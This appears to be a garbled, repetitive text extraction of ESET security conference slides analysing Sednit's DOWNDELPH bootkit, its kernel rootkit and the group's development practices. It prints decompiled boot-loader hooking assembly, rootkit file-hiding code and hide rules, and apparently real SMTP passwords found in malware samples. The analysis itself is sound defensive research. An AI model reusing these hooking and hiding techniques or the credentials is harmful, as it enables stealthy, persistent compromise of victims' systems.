jnz    short find_pattern_1
cmp    dword ptr es:[di+4], 0C0336602h
jnz    short find_pattern_1
cmp    dword ptr es:[di+8], 8E0010B9h
jnz    short find_pattern_1
```

```
find_pattern_2:
repne scasb
jnz    short find_pattern_loop_end
cmp    dword ptr es:[di], 66000000h
jnz    short find_pattern_2
cmp    dword ptr es:[di+4], 66045E8Bh
jnz    short find_pattern_2
cmp    dword ptr es:[di+8], 6608568Bh
jnz    short find_pattern_2
cmp    dword ptr es:[di+0Ch], 0C933h
jnz    short find_pattern_2
```
Bootkit Workflow

1. Infected MBR
2. Original MBR
3. BOOTMGR
4. Winload.exe
5. Real Mode
6. Kernel Init

Protected Mode
Bootkit Workflow

Infected MBR → Original MBR → BOOTMGR (Hooked) → Winload.exe

Real Mode: ...

Protected Mode: Kernel Init
BOOTMGR Hook

• Searches `OslArchTransferToKernel()` in `winload.exe` to patch it

Before:

```
_OslArchTransferToKernel@8 proc far
arg_0 = dword ptr 8
lgdt fword ptr _OslKernelGdt
lidt fword ptr _OslKernelIdt
```

After:

```
kd> u winload!OslArchTransferToKernel
winload!OslArchTransferToKernel:
00000000`003381f0 e961fdd5ff jmp 00000000`00097f56
```
Bootkit Workflow

Infected MBR → Original MBR → BOOTMGR → Hook → Winload.exe

Real Mode

... → Kernel Init

Protected Mode

Real Mode

Protected Mode
Bootkit Workflow

-infected MBR
- original MBR
- bootmgr
- winload.exe

Real Mode

Protected Mode

...
Winload.exe Hook

- Locates `MmMapIoSpace`

- Saves some code in ACPI.sys resources section (and makes the section executable)

- Hooks `ACPI!GsDriverEntry`
Saving Important Information

Bootkit physical address

```
0: kd> db rbx $$ kernel header address
 4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00 MZ..............
 b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 ........@......
 00 00 00 00 00 00 00-00 00 00 00 00 00 00 ...................
 00 00 00 00 00 00 00-00 00 00 00 00 00 00 ........f8 00 00 00
 00 74 09 00 00 b4 09 cd-21 b8 01 4c cd 21 54 68 .t.......!..L.!Th
```

```
69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e is program canno
74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 t be run in DOS
6d 6f 64 65 2e 0d to mode....$. .......
```

```
8a 4a 9e 90 ce 2b f0 c3-ce 2b f0 c3 ce 2b f0 c3 .J...+....+.+
```

```
c7 53 73 c3 aa 2b f0 c3-c7 53 63 c3 c5 2b f0 c3 .Ss...+...Sc...+
```

```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
Bootkit Workflow

Infected MBR

Original MBR

BOOTMGR

Winload.exe

ACPI.sys

Real Mode

Protected Mode

Kernel Init

...
Bootkit Workflow

- Infected MBR
- Original MBR
- BOOTMGR
- Winload.exe
- ACPI.sys
- Real Mode
- Protected Mode
- Kernel Init
ACPI.sys Hook

- Restores `ACPI!GsDriverEntry`
- Maps the bootkit physical address into virtual address space by calling `MmMapIoSpace`
- Decrypts hidden driver
Bootkit Workflow

1. **Infected MBR**
   - Flow to **Original MBR**
   - **Hook**

2. **Original MBR**
   - Flow to **BOOTMGR**
   - **Hook**

3. **BOOTMGR**
   - Flow to **Winload.exe**
   - **Hook**

4. **Winload.exe**
   - Flow to **ACPI.sys**
   - **Hook**

5. **ACPI.sys**
   - Flow to **Bootkit Driver**

6. **Bootkit Driver**
   - **Kernel Init**

7. **“Bootkit user-mode component”**
   - Flow to **DOWNDELPH**

8. **DOWNDELPH**
   - Flow to **Real Mode**

**Protected Mode**

**Real Mode**
Bootkit Workflow

Infected MBR

Original MBR

BOOTMGR

Winload.exe

ACPI.sys

DOWNDELPH

“Bootkit user-mode component”

Bootkit Driver

Real Mode

Protected Mode

Kernel Init

Real Mode

Protected Mode

ESET

ENJOY SAFER TECHNOLOGY®
Bootkit Workflow

Infected MBR → Original MBR → Bootkit Driver → ACPI.sys → Hook → Winload.exe → Hook → Bootkit user-mode component → "Bootkit user-mode component" → DOWNDELPH

User mode component of the bootkit has been injected.
Bootkit Workflow

Why a DLL to load another DLL?

User mode component of the bootkit has been injected.
Who Are You Bootkit?

- Missing exported variable in DOWNDELPH

```c
exportedVar = GetProcAddress(hModule, "m_bLoadedByBootkit");
if ( exportedVar )
    *(DWORD *)exportedVar = TRUE;
```
Who Are You Bootkit?

- Missing exported variable in DOWNDELPH

```
exportedVar = GetProcAddress(hModule, "m_bLoadedByBootkit");
if (exportedVar)
    *(DWORD *)exportedVar = TRUE;
```

- Code sharing with BlackEnergy
  - Relocations fixing
  - DLL injection calling three exports ("Entry", "ep_data" and "Dummy")
  - ...
But It’s Not The End of The Story
2014 DOWNDELPH Samples

Dropper

- Helper
- Kernel Mode Rootkit
- DOWNDELPH
Not So Boring Component++

REVERSE A DELPHI BINARY

FIND A KERNEL
MODE ROOTKIT
Kernel Mode Rootkit (1)

- Registered as a Windows service
- Injects DOWNELPH into explorer.exe (APC)
- Hides files, folders and registry keys
- Relies on a set of rules:

HIDEDRV: >>>>>>>>Hide rules>>>>>>>> rules
HIDEDRV: File rules: \Device\[...\]\dnscli1.dll
HIDEDRV: File rules: \Device\[...\]\FsFlt.sys
HIDEDRV: Registry rules: \REGISTRY\[...\]\FsFlt
HIDEDRV: Registry rules: \REGISTRY\[...\]\FsFlt
HIDEDRV: Registry rules: \REGISTRY\[...\]\FsFlt
HIDEDRV: Inject dll: C:\Windows\system32\mypathcom\dnscli1.dll
HIDEDRV: Folder rules: \Device\HarddiskVolume1\Windows\system32\mypathcom
HIDEDRV: <<<<<<<<XXXXX<<<<<<<< rules
HIDEDRV: <<<<<<<<Hide rules<<<<<<<< rules
Kernel Mode Rootkit (2)

How It Works

- Two implementations of the hiding ability:
  - SSDT hooking
  - Minifilter driver
v5 = FltGetFileNameInformation(callback_data, 1026u, &FileNameInformation);
if ( v5 == 0 )
{
    // Is the accessed file or directory rootkit-protected?
    if ( FindRule(&FileNameInformation->Name, FILE_RULES) ||
         FindRule(&FileNameInformation->Name, DIRECTORY_RULES) )
    {
        if ( debug_level >= 5 )
        {
            DbgPrint("HIDEDRV: ");
            DbgPrint("PreHideCreate rule match %wZ\n", &FileNameInformation->Name);
        }
        // Hide file or directory presence
        callback_data->IoStatus.Status = STATUS_NOT_FOUND;
        FltSetCallbackDataDirty(callback_data);
        v6 = 4;
    }
    if ( FileNameInformation )
        FltReleaseFileNameInformation(FileNameInformation);
    result = v6;
Implementation Minifilter

```c
v5 = FltGetFileNameInformation(callback_data, 1026u, &FileNameInformation);
if (v5 != 0)
{
    // Is the accessed file or directory rootkit-protected?
    if (FindRule(&FileNameInformation->Name, FILE_RULES) ||
        FindRule(&FileNameInformation->Name, DIRECTORY_RULES))
    {
        if (debug_level >= 5)
        {
            DbgPrint("HIDEDRV: ");
            DbgPrint("PreHideCreate rule match %wZ
", &FileNameInformation->Name);
        }
        // Hide file or directory presence
        callback_data->IoStatus.Status = STATUS_NOT_FOUND;
        FltSetCallbackDataDirty(callback_data);
        v6 = 4;
    }
    if (FileNameInformation)
        FltReleaseFileNameInformation(FileNameInformation);
    result = v6;
```
Implementation Minifilter

```c
FltGetFileNameInformation(callback_data, 1026u, &FileNameInformation);
if ( v5 >= 0 )
{
    // Is the accessed file or directory rootkit-protected?
    if ( FindRule(&FileNameInformation->Name, FILE_RULES) ||
         FindRule(&FileNameInformation->Name, DIRECTORY_RULES) )
    {
        if ( debug_level >= 5 )
        {
            DbgPrint("HIDEDRU: ");
            DbgPrint("PreHideCreate rule match %wZ\n", &FileNameInformation->Name);
        }
        // Hide file or directory presence
        callback_data->IoStatus.Status = STATUS_NOT_FOUND;
        FltSetCallbackDataDirty(callback_data);
        v6 = 4;
    }
    if ( FileNameInformation )
        FltReleaseFileNameInformation(FileNameInformation);
    result = v6;
```
Implementation Minifilter

```c
v5 = FltGetFileNameInformation(callback_data, 1026u, &FileNameInformation);
if ( v5 != 0 )
{
    // Is the accessed file or directory rootkit-protected?
    if ( FindRule(&FileNameInformation->Name, FILE_RULES) ||
         FindRule(&FileNameInformation->Name, DIRECTORY_RULES) )
    {
        if ( debug_level >= 5 )
        {
            DbgPrint("HIDEDRV: ");
            DbgPrint("PreHideCreate rule match %wZ\n", &FileNameInformation->Name);
        }
        // Hide file or directory presence
        callback_data->IoStatus.Status = STATUS_NOT_FOUND;
        FltSetCallbackDataDirty(callback_data);
        v6 = 4;
    }
    if ( FileNameInformation )
        FltReleaseFileNameInformation(FileNameInformation);
    result = v6;
```
Who Are You Rootkit?

• Never documented (to the best of our knowledge)

• PDB paths:

d:\!work\etc\hi\Bin\Debug\win7\x86\fsflt.pdb
d:\!work\etc\hideinstaller_kis2013\Bin\Debug\win7\x64\fsflt.pdb
d:\new\hideinstaller\Bin\Debug\wp\x86\fsflt.pdb
Who Are You Rootkit?

• Never documented (to the best of our knowledge)

• PDB paths:
  d:\!work\etc\hi\Bin\Debug\win7\x86\fsflt.pdb
  d:\!work\etc\hideinstaller_kis2013\Bin\Debug\win7\x64\fsflt.pdb
  d:\new\hideinstaller\Bin\Debug\wxp\x86\fsflt.pdb
Who Are You Rootkit?

• Never documented (to the best of our knowledge)

• PDB paths:
  
  d:\!work\etc\hi\Bin\Debug\win7\x86\fsflt.pdb
  d:\!work\etc\hideinstaller\kis2013\Bin\Debug\win7\x64\fsflt.pdb
  d:\new\hideinstaller\Bin\Debug\wxp\x86\fsflt.pdb
To Summarize

• Seven different samples (!) of DOWNDELPH over the past three years
• One C&C server was up for two years
• Persistence methods:
  – Bootkit able to infect from Windows XP to Windows 7
  – Rootkit
• So, WHY such advanced persistence methods for such a simple component?
• DOWNDELPH downloaded SEDRECO + XAGENT in a few cases, so SEDNIT related for sure
SPECULATIVE MUMBLINGS
Call For Speculation

• The diversity of Sednit software is impressive (DOWNDELPH, bootkit, XAGENT, SEDKIT...)

• Diversity is good for their operations, as it makes detection and tracking harder

• How did they create this software ecosystem?
Sednit Development Process (1)

Developers Role

- Binaries are often compiled specifically for a target, *after* it has been infected

```
@mia.gov.ge',0
@mia.gov.ge',0
@mia.gov.ge',0
ukr76ukr',0
shoti777',0
anma1992',0
```

XAGENT SMTP logins/passwords
Sednit Development Process (1)

Developers Role

• Binaries are often compiled specifically for a target, after it has been infected

XAGENT SMTP logins/passwords

• Main software evolve regularly (XTUNNEL, SEDUPLOADER, XAGENT...)

'@mia.gov.ge', 0
'@mia.gov.ge', 0
'@mia.gov.ge', 0

'ukr76ukr', 0
'shoti777', 0
'anma1992', 0
Sednit Development Process (1)
Developers Role

• Binaries are often compiled specifically for a target, after it has been infected

```plaintext
@mia.gov.ge',0
 Shoti777',0
anma1992',0
```

XAGENT SMTP logins/passwords

• Main software evolve regularly (XTUNNEL, SEDUPLADER, XAGENT...)

Developers are part of the team, not outsiders paid for a one-time job
Sednit Development Process (2)
Software Design

• Different Sednit software share some techniques:
  – RC4 keys built as concatenation of a hardcoded value and a randomly generated value
    (XAGENT, DOWNDELPH, SEDUPLOADER)
  – Hardcoded “tokens” in network messages
    (XAGENT, SEDUPLOADER, SEDRECO)
Sednit Development Process (2)
Software Design

• Different Sednit software share some techniques:
  – RC4 keys built as concatenation of a hardcoded value and a randomly generated value
    (XAGENT, DOWNDELPH, SEDUPLOADER)
  – Hardcoded “tokens” in network messages
    (XAGENT, SEDUPLOADER, SEDRECO)

The same developers may be behind this variety of software
Sednit Development Process (3)

Programming Errors

```c
if(handleSendPacket != 0) {
    pthread_exit(&handleGetPacket);
    //TerminateThread(handleSendPacket, 0);
    //CloseHandle(handleSendPacket);
}
```

Linux XAGENT
Communications termination
Sednit Development Process (3)

Programming Errors

```cpp
if (handleSendPacket != 0)
{
    pthread_exit(&handleGetPacket);
    // TerminateThread(handleSendPacket, 0);
    // CloseHandle(handleSendPacket);
}
```

Linux XAGENT
Communications termination
Sednit Development Process (3)

Programming Errors

```c
if(handleSendPacket != 0)
{
    pthread_exit(&handleGetPacket);
    //TerminateThread(handleSendPacket, 0);
    //CloseHandle(handleSendPacket);
}
```

Linux XAGENT
Communications termination
Sednit Development Process (3)
Programming Errors

```c
if (handleSendPacket != 0)
{
    pthread_exit(&handleGetPacket);
    // TerminateThread(handleSendPacket, 0);
    // CloseHandle(handleSendPacket);
}
```

Linux XAGENT
Communications termination
Sednit Development Process (3)

Programming Errors

```
msg_report = malloc(6u);
*(DWORD *)msg_report = name.sin_addr.S_un.S_addr; // Target IP address
*(WORD *)msg_report = name.sin_port; // Target port (overwrites IP..)
```

XTUNNEL report message
Sednit Development Process (3)

Programming Errors

XTUNNEL report message

```
msg_report = malloc(6u);
*(DWORD *)msg_report = name.sin_addr.S_un.S_addr; // Target IP address
*(WORD *)msg_report = name.sin_port; // Target port (overwrites IP..)
```

Developers do not have a code review process (“hackish” feeling)
Sednit Development Process (4)
Seeking Inspiration

- SEDUPLOADER employed novel persistence methods also found in crimeware, and shares code with Carberp

- DOWNDELPH bootkit code bears some similarities with BlackEnergy code
Sednit Development Process (4)  
Seeking Inspiration

• SEDUPLOADER employed novel persistence methods also found in crimeware, and shares code with Carberp

• DOWNDELPH bootkit code bears some similarities with BlackEnergy code

Developers have ties with the crimeware underground
Sednit Development Process (5)

Having Fun

```html
<body>
<center><p id="frodo">Plugin required to view this page.</p><div>
...
</div>
</body>
```

```html
<v:group id="k" style="width:500pt;"> 
<div id="lol"> 
</div> 
</v:group>
```

Viewing-eroded-survey-warns/251166/messi.leonel
Developers are not working in a formal environment...
Mumblings Summary

Sednit has some in-house skilled developers, working with little supervision, and those guys have ties with crimeware underground
Conclusion

• Sednit activity increased a lot during the last two years (targeted attacks with a LOT of targets)
  – Heard about the DNC hack last week?

• Sednit toolkit in constant evolution, moar fun to come!
That’s All Folks!

• Feel free to poke us: {calvet,campos,dupuy} at esetlabs.com

• Whitepaper coming soon!...
  (“dans deux mois”)

126